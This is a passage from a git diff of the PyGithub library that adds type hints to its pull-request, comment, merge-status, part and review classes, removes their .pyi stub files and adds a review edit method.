= github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - self._requested_reviewers = github.GithubObject.NotSet - self._requested_teams = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "additions" in attributes: # pragma no branch self._additions = self._makeIntAttribute(attributes["additions"]) if "assignee" in attributes: # pragma no branch - self._assignee = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["assignee"] - ) + self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assignees" in attributes: # pragma no branch - self._assignees = self._makeListOfClassesAttribute( - github.NamedUser.NamedUser, attributes["assignees"] - ) + self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, attributes["assignees"]) elif "assignee" in attributes: if attributes["assignee"] is not None: - self._assignees = self._makeListOfClassesAttribute( - github.NamedUser.NamedUser, [attributes["assignee"]] - ) + self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, [attributes["assignee"]]) else: - self._assignees = self._makeListOfClassesAttribute( - github.NamedUser.NamedUser, [] - ) + self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, []) if "base" in attributes: # pragma no branch - self._base = self._makeClassAttribute( - github.PullRequestPart.PullRequestPart, attributes["base"] - ) + self._base = self._makeClassAttribute(github.PullRequestPart.PullRequestPart, attributes["base"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "changed_files" in attributes: # pragma no branch @@ -1045,9 +925,7 @@ def _useAttributes(self, attributes): if "draft" in attributes: # pragma no branch self._draft = self._makeBoolAttribute(attributes["draft"]) if "head" in attributes: # pragma no branch - self._head = self._makeClassAttribute( - github.PullRequestPart.PullRequestPart, attributes["head"] - ) + self._head = self._makeClassAttribute(github.PullRequestPart.PullRequestPart, attributes["head"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch @@ -1055,35 +933,23 @@ def _useAttributes(self, attributes): if "issue_url" in attributes: # pragma no branch self._issue_url = self._makeStringAttribute(attributes["issue_url"]) if "labels" in attributes: # pragma no branch - self._labels = self._makeListOfClassesAttribute( - github.Label.Label, attributes["labels"] - ) + self._labels = self._makeListOfClassesAttribute(github.Label.Label, attributes["labels"]) if "maintainer_can_modify" in attributes: # pragma no branch - self._maintainer_can_modify = self._makeBoolAttribute( - attributes["maintainer_can_modify"] - ) + self._maintainer_can_modify = self._makeBoolAttribute(attributes["maintainer_can_modify"]) if "merge_commit_sha" in attributes: # pragma no branch - self._merge_commit_sha = self._makeStringAttribute( - attributes["merge_commit_sha"] - ) + self._merge_commit_sha = self._makeStringAttribute(attributes["merge_commit_sha"]) if "mergeable" in attributes: # pragma no branch self._mergeable = self._makeBoolAttribute(attributes["mergeable"]) if "mergeable_state" in attributes: # pragma no branch - self._mergeable_state = self._makeStringAttribute( - attributes["mergeable_state"] - ) + self._mergeable_state = self._makeStringAttribute(attributes["mergeable_state"]) if "merged" in attributes: # pragma no branch self._merged = self._makeBoolAttribute(attributes["merged"]) if "merged_at" in attributes: # pragma no branch self._merged_at = self._makeDatetimeAttribute(attributes["merged_at"]) if "merged_by" in attributes: # pragma no branch - self._merged_by = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["merged_by"] - ) + self._merged_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["merged_by"]) if "milestone" in attributes: # pragma no branch - self._milestone = self._makeClassAttribute( - github.Milestone.Milestone, attributes["milestone"] - ) + self._milestone = self._makeClassAttribute(github.Milestone.Milestone, attributes["milestone"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "patch_url" in attributes: # pragma no branch @@ -1091,17 +957,11 @@ def _useAttributes(self, attributes): if "rebaseable" in attributes: # pragma no branch self._rebaseable = self._makeBoolAttribute(attributes["rebaseable"]) if "review_comment_url" in attributes: # pragma no branch - self._review_comment_url = self._makeStringAttribute( - attributes["review_comment_url"] - ) + self._review_comment_url = self._makeStringAttribute(attributes["review_comment_url"]) if "review_comments" in attributes: # pragma no branch - self._review_comments = self._makeIntAttribute( - attributes["review_comments"] - ) + self._review_comments = self._makeIntAttribute(attributes["review_comments"]) if "review_comments_url" in attributes: # pragma no branch - self._review_comments_url = self._makeStringAttribute( - attributes["review_comments_url"] - ) + self._review_comments_url = self._makeStringAttribute(attributes["review_comments_url"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "title" in attributes: # pragma no branch @@ -1111,14 +971,12 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) if "requested_reviewers" in attributes: self._requested_reviewers = self._makeListOfClassesAttribute( github.NamedUser.NamedUser, attributes["requested_reviewers"] ) if "requested_teams" in attributes: - self._requested_teams = self._makeListOfClassesAttribute( - github.Team.Team, attributes["requested_teams"] - ) + self._requested_teams = self._makeListOfClassesAttribute(github.Team.Team, attributes["requested_teams"]) + if "node_id" in attributes: # pragma no branch + self._node_id = self._makeStringAttribute(attributes["node_id"]) diff --git a/github/PullRequest.pyi b/github/PullRequest.pyi deleted file mode 100644 index a665bfd47e..0000000000 --- a/github/PullRequest.pyi +++ /dev/null @@ -1,170 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Tuple, Union - -from github.Commit import Commit -from github.File import File -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.Issue import Issue -from github.IssueComment import IssueComment -from github.IssueEvent import IssueEvent -from github.Label import Label -from github.Milestone import Milestone -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.PullRequestComment import PullRequestComment -from github.PullRequestMergeStatus import PullRequestMergeStatus -from github.PullRequestPart import PullRequestPart -from github.PullRequestReview import PullRequestReview -from github.Team import Team - -class PullRequest(CompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def add_to_labels(self, *labels: Union[Label, str]) -> None: ... - def add_to_assignees(self, *assignees: Union[NamedUser, str]) -> None: ... - @property - def additions(self) -> int: ... - def as_issue(self) -> Issue: ... - @property - def assignee(self) -> NamedUser: ... - @property - def assignees(self) -> List[NamedUser]: ... - @property - def requested_reviewers(self) -> List[NamedUser]: ... - @property - def requested_teams(self) -> List[Team]: ... - @property - def base(self) -> PullRequestPart: ... - @property - def body(self) -> str: ... - @property - def changed_files(self) -> int: ... - @property - def closed_at(self) -> Optional[datetime]: ... - @property - def comments(self) -> int: ... - @property - def comments_url(self) -> str: ... - @property - def commits(self) -> int: ... - @property - def commits_url(self) -> str: ... - def create_comment( - self, body: str, commit_id: Commit, path: str, position: int - ) -> PullRequestComment: ... - def create_issue_comment(self, body: str) -> IssueComment: ... - def create_review( - self, - commit: Commit = ..., - body: Union[_NotSetType, str] = ..., - event: Union[_NotSetType, str] = ..., - comments: Union[_NotSetType, str] = ..., - ) -> PullRequestReview: ... - def create_review_comment( - self, body: str, commit_id: Commit, path: str, position: int - ) -> PullRequestComment: ... - def create_review_request( - self, - reviewers: Union[_NotSetType, List[str]] = ..., - team_reviewers: Union[_NotSetType, List[str]] = ..., - ) -> None: ... - @property - def created_at(self) -> datetime: ... - def delete_labels(self) -> None: ... - def delete_review_request( - self, - reviewers: Union[_NotSetType, List[str]] = ..., - team_reviewers: Union[_NotSetType, List[str]] = ..., - ) -> None: ... - @property - def deletions(self) -> int: ... - @property - def diff_url(self) -> str: ... - @property - def draft(self) -> bool: ... - def edit( - self, - title: Union[str, _NotSetType] = ..., - body: Union[str, _NotSetType] = ..., - state: Union[str, _NotSetType] = ..., - base: Union[_NotSetType, str] = ..., - maintainer_can_modify: Union[_NotSetType, str] = ..., - ) -> None: ... - def get_comment(self, id: int) -> PullRequestComment: ... - def get_comments(self) -> PaginatedList[PullRequestComment]: ... - def get_commits(self) -> PaginatedList[Commit]: ... - def get_files(self) -> PaginatedList[File]: ... - def get_issue_comment(self, id: int) -> IssueComment: ... - def get_issue_comments(self) -> PaginatedList[IssueComment]: ... - def get_issue_events(self) -> PaginatedList[IssueEvent]: ... - def get_labels(self) -> PaginatedList[Label]: ... - def get_review(self, id: int) -> PullRequestReview: ... - def get_review_comment(self, id: int) -> PullRequestComment: ... - def get_review_comments( - self, since: Union[_NotSetType, datetime] = ... - ) -> PaginatedList[PullRequestComment]: ... - def get_single_review_comments( - self, id: int - ) -> PaginatedList[PullRequestComment]: ... - def get_review_requests( - self, - ) -> Tuple[PaginatedList[NamedUser], PaginatedList[Team]]: ... - def get_reviews(self) -> PaginatedList[PullRequestReview]: ... - @property - def head(self) -> PullRequestPart: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - def is_merged(self) -> bool: ... - @property - def issue_url(self) -> str: ... - @property - def labels(self) -> List[Label]: ... - @property - def maintainer_can_modify(self) -> bool: ... - def merge( - self, - commit_message: Union[str, _NotSetType] = ..., - commit_title: Union[str, _NotSetType] = ..., - merge_method: Union[str, _NotSetType] = ..., - sha: Union[str, _NotSetType] = ..., - ) -> PullRequestMergeStatus: ... - @property - def merge_commit_sha(self) -> str: ... - @property - def mergeable(self) -> Optional[bool]: ... - @property - def mergeable_state(self) -> str: ... - @property - def merged(self) -> bool: ... - @property - def merged_at(self) -> datetime: ... - @property - def merged_by(self) -> NamedUser: ... - @property - def milestone(self) -> Milestone: ... - @property - def number(self) -> int: ... - @property - def patch_url(self) -> str: ... - @property - def rebaseable(self) -> bool: ... - def remove_from_labels(self, label: Union[Label, str]) -> None: ... - @property - def review_comment_url(self) -> str: ... - @property - def review_comments(self) -> int: ... - @property - def review_comments_url(self) -> str: ... - def set_labels(self, *labels: Union[Label, str]) -> None: ... - @property - def state(self) -> str: ... - @property - def title(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/PullRequestComment.py b/github/PullRequestComment.py index 58b0103c33..f809f3d677 100644 --- a/github/PullRequestComment.py +++ b/github/PullRequestComment.py @@ -11,9 +11,18 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Jess Morgan <979404+JessMorgan@users.noreply.github.com> # +# Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,148 +42,127 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser - -from . import Consts +import github.Reaction +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList -class PullRequestComment(github.GithubObject.CompletableGithubObject): +class PullRequestComment(CompletableGithubObject): """ This class represents PullRequestComments. The reference can be found here https://docs.github.com/en/rest/reference/pulls#review-comments """ - def __repr__(self): + def _initAttributes(self) -> None: + self._body: Attribute[str] = NotSet + self._commit_id: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._diff_hunk: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._in_reply_to_id: Attribute[int] = NotSet + self._original_commit_id: Attribute[str] = NotSet + self._original_position: Attribute[int] = NotSet + self._path: Attribute[str] = NotSet + self._position: Attribute[int] = NotSet + self._pull_request_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def commit_id(self): - """ - :type: string - """ + def commit_id(self) -> str: self._completeIfNotSet(self._commit_id) return self._commit_id.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def diff_hunk(self): - """ - :type: string - """ + def diff_hunk(self) -> str: self._completeIfNotSet(self._diff_hunk) return self._diff_hunk.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def in_reply_to_id(self): - """ - :type: integer - """ + def in_reply_to_id(self) -> int: self._completeIfNotSet(self._in_reply_to_id) return self._in_reply_to_id.value @property - def original_commit_id(self): - """ - :type: string - """ + def original_commit_id(self) -> str: self._completeIfNotSet(self._original_commit_id) return self._original_commit_id.value @property - def original_position(self): - """ - :type: integer - """ + def original_position(self) -> int: self._completeIfNotSet(self._original_position) return self._original_position.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property - def position(self): - """ - :type: integer - """ + def position(self) -> int: self._completeIfNotSet(self._position) return self._position.value @property - def pull_request_url(self): - """ - :type: string - """ + def pull_request_url(self) -> str: self._completeIfNotSet(self._pull_request_url) return self._pull_request_url.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/pulls/comments/{number} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit(self, body): + def edit(self, body: str) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/pulls/comments/{number} `_ :param body: string @@ -184,18 +172,16 @@ def edit(self, body): post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_reactions(self): + def get_reactions(self) -> PaginatedList[github.Reaction.Reaction]: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments/{number}/reactions `_ :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.Reaction.Reaction` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", @@ -203,7 +189,7 @@ def get_reactions(self): headers={"Accept": Consts.mediaTypeReactionsPreview}, ) - def create_reaction(self, reaction_type): + def create_reaction(self, reaction_type: str) -> github.Reaction.Reaction: """ :calls: `POST /repos/{owner}/{repo}/pulls/comments/{number}/reactions `_ @@ -222,7 +208,7 @@ def create_reaction(self, reaction_type): ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) - def delete_reaction(self, reaction_id): + def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id} `_ @@ -237,24 +223,7 @@ def delete_reaction(self, reaction_id): ) return status == 204 - def _initAttributes(self): - self._body = github.GithubObject.NotSet - self._commit_id = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._diff_hunk = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._in_reply_to_id = github.GithubObject.NotSet - self._original_commit_id = github.GithubObject.NotSet - self._original_position = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._position = github.GithubObject.NotSet - self._pull_request_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "commit_id" in attributes: # pragma no branch @@ -268,21 +237,15 @@ def _useAttributes(self, attributes): if "in_reply_to_id" in attributes: # pragma no branch self._in_reply_to_id = self._makeIntAttribute(attributes["in_reply_to_id"]) if "original_commit_id" in attributes: # pragma no branch - self._original_commit_id = self._makeStringAttribute( - attributes["original_commit_id"] - ) + self._original_commit_id = self._makeStringAttribute(attributes["original_commit_id"]) if "original_position" in attributes: # pragma no branch - self._original_position = self._makeIntAttribute( - attributes["original_position"] - ) + self._original_position = self._makeIntAttribute(attributes["original_position"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "position" in attributes: # pragma no branch self._position = self._makeIntAttribute(attributes["position"]) if "pull_request_url" in attributes: # pragma no branch - self._pull_request_url = self._makeStringAttribute( - attributes["pull_request_url"] - ) + self._pull_request_url = self._makeStringAttribute(attributes["pull_request_url"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch @@ -290,6 +253,4 @@ def _useAttributes(self, attributes): if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/PullRequestComment.pyi b/github/PullRequestComment.pyi deleted file mode 100644 index 4b390df3a3..0000000000 --- a/github/PullRequestComment.pyi +++ /dev/null @@ -1,47 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.Reaction import Reaction - -class PullRequestComment(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - @property - def commit_id(self) -> str: ... - def create_reaction(self, reaction_type: str) -> Reaction: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - def delete_reaction(self, reaction_id: int) -> bool: ... - @property - def diff_hunk(self) -> str: ... - def edit(self, body: str) -> None: ... - def get_reactions(self) -> PaginatedList[Reaction]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def in_reply_to_id(self) -> int: ... - @property - def original_commit_id(self) -> str: ... - @property - def original_position(self) -> int: ... - @property - def path(self) -> str: ... - @property - def position(self) -> int: ... - @property - def pull_request_url(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/PullRequestMergeStatus.py b/github/PullRequestMergeStatus.py index a479264c33..a858c16f94 100644 --- a/github/PullRequestMergeStatus.py +++ b/github/PullRequestMergeStatus.py @@ -10,6 +10,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,44 +36,37 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class PullRequestMergeStatus(github.GithubObject.NonCompletableGithubObject): + +class PullRequestMergeStatus(NonCompletableGithubObject): """ This class represents PullRequestMergeStatuses. The reference can be found here https://docs.github.com/en/rest/reference/pulls#check-if-a-pull-request-has-been-merged """ - def __repr__(self): + def _initAttributes(self) -> None: + self._merged: Attribute[bool] = NotSet + self._message: Attribute[str] = NotSet + self._sha: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "merged": self._merged.value}) @property - def merged(self): - """ - :type: bool - """ + def merged(self) -> bool: return self._merged.value @property - def message(self): - """ - :type: string - """ + def message(self) -> str: return self._message.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: return self._sha.value - def _initAttributes(self): - self._merged = github.GithubObject.NotSet - self._message = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "merged" in attributes: # pragma no branch self._merged = self._makeBoolAttribute(attributes["merged"]) if "message" in attributes: # pragma no branch diff --git a/github/PullRequestMergeStatus.pyi b/github/PullRequestMergeStatus.pyi deleted file mode 100644 index c7fb42f3f3..0000000000 --- a/github/PullRequestMergeStatus.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class PullRequestMergeStatus(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def merged(self) -> bool: ... - @property - def message(self) -> str: ... - @property - def sha(self) -> str: ... diff --git a/github/PullRequestPart.py b/github/PullRequestPart.py index 94ab3f3770..ea98247c02 100644 --- a/github/PullRequestPart.py +++ b/github/PullRequestPart.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,73 +34,62 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.NamedUser import github.Repository +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.NamedUser import NamedUser + from github.Repository import Repository -class PullRequestPart(github.GithubObject.NonCompletableGithubObject): +class PullRequestPart(NonCompletableGithubObject): """ This class represents PullRequestParts """ - def __repr__(self): + def _initAttributes(self) -> None: + self._label: Attribute[str] = NotSet + self._ref: Attribute[str] = NotSet + self._repo: Attribute[Repository] = NotSet + self._sha: Attribute[str] = NotSet + self._user: Attribute[NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property - def label(self): - """ - :type: string - """ + def label(self) -> str: return self._label.value @property - def ref(self): - """ - :type: string - """ + def ref(self) -> str: return self._ref.value @property - def repo(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repo(self) -> Repository: return self._repo.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: return self._sha.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> NamedUser: return self._user.value - def _initAttributes(self): - self._label = github.GithubObject.NotSet - self._ref = github.GithubObject.NotSet - self._repo = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "label" in attributes: # pragma no branch self._label = self._makeStringAttribute(attributes["label"]) if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "repo" in attributes: # pragma no branch - self._repo = self._makeClassAttribute( - github.Repository.Repository, attributes["repo"] - ) + self._repo = self._makeClassAttribute(github.Repository.Repository, attributes["repo"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/PullRequestPart.pyi b/github/PullRequestPart.pyi deleted file mode 100644 index 082e6bc2e9..0000000000 --- a/github/PullRequestPart.pyi +++ /dev/null @@ -1,20 +0,0 @@ -from typing import Any, Dict, Optional - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser -from github.Repository import Repository - -class PullRequestPart(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def label(self) -> str: ... - @property - def ref(self) -> str: ... - @property - def repo(self) -> Repository: ... - @property - def sha(self) -> str: ... - @property - def user(self) -> Optional[NamedUser]: ... diff --git a/github/PullRequestReview.py b/github/PullRequestReview.py index bd70f68f2b..abfaa8cce7 100644 --- a/github/PullRequestReview.py +++ b/github/PullRequestReview.py @@ -1,10 +1,26 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Mike Miller # # Copyright 2018 Darragh Bailey # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Gael Colas # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,113 +40,105 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class PullRequestReview(github.GithubObject.NonCompletableGithubObject): +class PullRequestReview(NonCompletableGithubObject): """ This class represents PullRequestReviews. The reference can be found here https://docs.github.com/en/rest/reference/pulls#reviews """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + self._body: Attribute[str] = NotSet + self._commit_id: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._pull_request_url: Attribute[str] = NotSet + self._submitted_at: Attribute[datetime] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: return self._user.value @property - def body(self): - """ - :type: string - """ + def body(self) -> str: return self._body.value @property - def commit_id(self): - """ - :type: string - """ + def commit_id(self) -> str: return self._commit_id.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: return self._state.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: return self._html_url.value @property - def pull_request_url(self): - """ - :type: string - """ + def pull_request_url(self) -> str: return self._pull_request_url.value @property - def submitted_at(self): - """ - :type: datetime.datetime - """ + def submitted_at(self) -> datetime: return self._submitted_at.value - def dismiss(self, message): + def dismiss(self, message: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/pulls/{number}/reviews/{review_id}/dismissals `_ - :rtype: None """ - assert isinstance(message, str), message post_parameters = {"message": message} headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.pull_request_url}/reviews/{self.id}/dismissals", input=post_parameters, ) + self._useAttributes(data) - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/:owner/:repo/pulls/:number/reviews/:review_id `_ - :rtype: None """ + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.pull_request_url}/reviews/{self.id}") + + def edit(self, body: str) -> None: + """ + :calls: `PUT /repos/{owner}/{repo}/pulls/{number}/reviews/{review_id} + `_ + """ + assert isinstance(body, str), body + post_parameters = { + "body": body, + } headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.pull_request_url}/reviews/{self.id}" + "PUT", + f"{self.pull_request_url}/reviews/{self.id}", + input=post_parameters, ) + self._useAttributes(data) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._commit_id = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._pull_request_url = github.GithubObject.NotSet - self._submitted_at = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "commit_id" in attributes: # pragma no branch @@ -140,8 +148,6 @@ def _useAttributes(self, attributes): if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "pull_request_url" in attributes: # pragma no branch - self._pull_request_url = self._makeStringAttribute( - attributes["pull_request_url"] - ) + self._pull_request_url = self._makeStringAttribute(attributes["pull_request_url"]) if "submitted_at" in attributes: # pragma no branch self._submitted_at = 